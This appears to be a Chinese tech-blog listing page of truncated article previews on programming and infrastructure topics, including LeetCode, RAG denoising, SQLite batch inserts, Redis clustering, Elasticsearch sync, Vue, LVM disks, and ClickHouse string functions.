在当今信息化浪潮下,数据已经成为企业发展的核心驱动力之一。如何更好地管理和利用数据,已成为企业发展过程中亟需解决的问题之一。而报表工具作为数据可视化和分析的利器,正逐渐受到企业的重视和青睐。 一、《行列视》作为报表工具的重要性…...

LeetCode 每日一题 ---- 【2244.完成所有任务需要的最少轮数】
LeetCode 每日一题 ---- 【2244.完成所有任务需要的最少轮数】 2244.完成所有任务需要的最少轮数方法:哈希表贪心 2244.完成所有任务需要的最少轮数 方法:哈希表贪心 用哈希表统计每个等级出现的次数 每次处理优先消费 3 个,m % 3 后&#…...

【RAG 去噪】引入 NLI 模型来为 RAG 去噪
论文:Making Retrieval-Augmented Language Models Robust to Irrelevant Context ⭐⭐⭐ ICLR 2024, arXiv:2310.01558 Code: github.com/oriyor/ret-robust 论文速读 这篇论文引入 NLI(Natural Language Inference)模型来判定 retrieved d…...

SQLite利用事务实现批量插入(提升效率)
在尝试过SQLite批量插入一百万条记录,执行时长高达20多分钟后,就在想一个问题,这样的性能是不可能被广泛应用的,更不可能出现在真实的生产环境中,那么对此应该如何优化一下呢? 首先分析一下批量插入的逻辑 …...

使用Python处理Excel数据:去除列中的双引号
目录 引言 技术背景 步骤概述 代码示例 案例分析 扩展内容 1. 处理多个列中的双引号 2. 处理大型Excel文件 3. 自定义函数处理数据 4. 错误处理和日志记录 结论 引言 在当今信息爆炸的时代,数据已经成为了各个行业最宝贵的资源之一。而Excel,…...

未来互联网:Web3的技术革新之路
引言 随着技术的不断发展和社会的日益数字化,互联网作为信息交流和社交媒介的重要平台已经成为我们生活中不可或缺的一部分。然而,传统的互联网架构在数据安全、隐私保护和去中心化等方面存在着诸多挑战。为了解决这些问题,Web3技术应运而生…...

【练习】分治--快排思想
🎥 个人主页:Dikz12🔥个人专栏:算法(Java)📕格言:吾愚多不敏,而愿加学欢迎大家👍点赞✍评论⭐收藏 目录 颜色分类 题目描述 题解 代码实现 排序数组 题目描述 题解 代码…...

Unity读书系列《Unity高级编程:主程手记》——C#技术要点
文章目录 前言一、业务逻辑优化技巧二、Unity3d中C#的底层原理三、List底层源码剖析四、Dictionary底层源码剖析五、浮点数的精度问题六、委托、事件、装箱、拆箱七、算法总结 前言 本文旨在总结某一概念的性质,并引出相关的技术要点。如果读者希望深入了解相关技术…...

Redis分片集群
哨兵集群虽然解决了高可用和高并发读问题,但是还是有缺陷 1. 因为是主节点是单节点,并发写存在瓶颈 2.数据量大了每个节点存储相同的数据,造成内存紧张,资源浪费 redis.conf文件 port 6379 # 开启集群功能 cluster-enabled yes…...

Math.Round()函数说明
Math.Round()并不是严格意义上的是四舍五入函数。它默认的执行的是“银行家舍入”算法,即四舍六入五取偶。概括为:四舍六入五考虑、五后非零就进一,五后皆零看奇偶,五前为偶应舍去、五前为奇要进一。 当为5时,取离着最…...

001 定期同步mysql数据到es 删除数据库记录同时删除es记录 es全文搜索分词和高亮
文章目录 ProductController.javaProduct.javaElasticsearchSyncListener.javaProductElasticSearchMapper.javaProductMapper.javaProductDeletedEvent.javaProductServiceImpl.javaSyncProductService.javaIProductService.javaElasticSearchSpringDemoApplication.javaServl…...

Vue 快速入门:Vue初级
语法规则 前端渲染 渲染有几种方式:原生js、js模板、Vue模板语法 原生js 使用字符串拼接 js模板语法 Vue.js 模板语法概述 Vue.js 是一个用于构建用户界面的渐进式框架,其模板语法非常灵活和直观。Vue 的模板语法基于 HTML,可以通过指令…...

什么是IP跳变?
IP 跳跃(也称为 IP 跳动)的概念已引起使用代理访问网站的用户的极大关注。但 IP 跳跃到底是什么?为什么它对于各种在线活动至关重要? 在本文中,我们将深入探讨 IP 跳跃的世界,探索其实际应用、用例、潜在问…...

Linux服务器lvm磁盘管理fdisk和df磁盘大小不同修改
服务器端由于硬盘是通过VCenter原来100G磁盘复制的虚拟机,复制完成后,原来100G的磁盘通过选择 磁盘重新复制出150G的磁盘,开机后发现还是原来的100G的磁盘,通过fdisk -l 查看有个sdb是150G, 但是已经划转的lvm盘只有100G, 通过df查看也是原来的100G: pvs查看pv里也是10…...

AOP是什么和OOP的区别
AOP(Aspect-Oriented Programming,面向切面编程)和OOP(Object-Oriented Programming,面向对象编程)是两种不同的编程范式,它们在多个方面存在显著的差异。 编程思想: AOP࿱…...

Clickhouse 字符串函数 - 2
reverse 反转字符串。 reverseUTF8 以Unicode字符为单位反转UTF-8编码的字符串。如果字符串不是UTF-8编码,则可能获取到一个非预期的结果(不会抛出异常)。 format(pattern, s0, s1, …) 使用常量字符串pattern格式化其他参数。pat…...

【个人成长】Fitten Code 测试案例分析
JS,Fitten Code 当插件,然后在代码分析的时候,有些小感悟,大模型写代码的思路,正常我理解的代码思路。 输入代码 (item.score* 100).toFixed(0)Prompt 得出的结果 5分,如果超过100按100算输出结果 con…...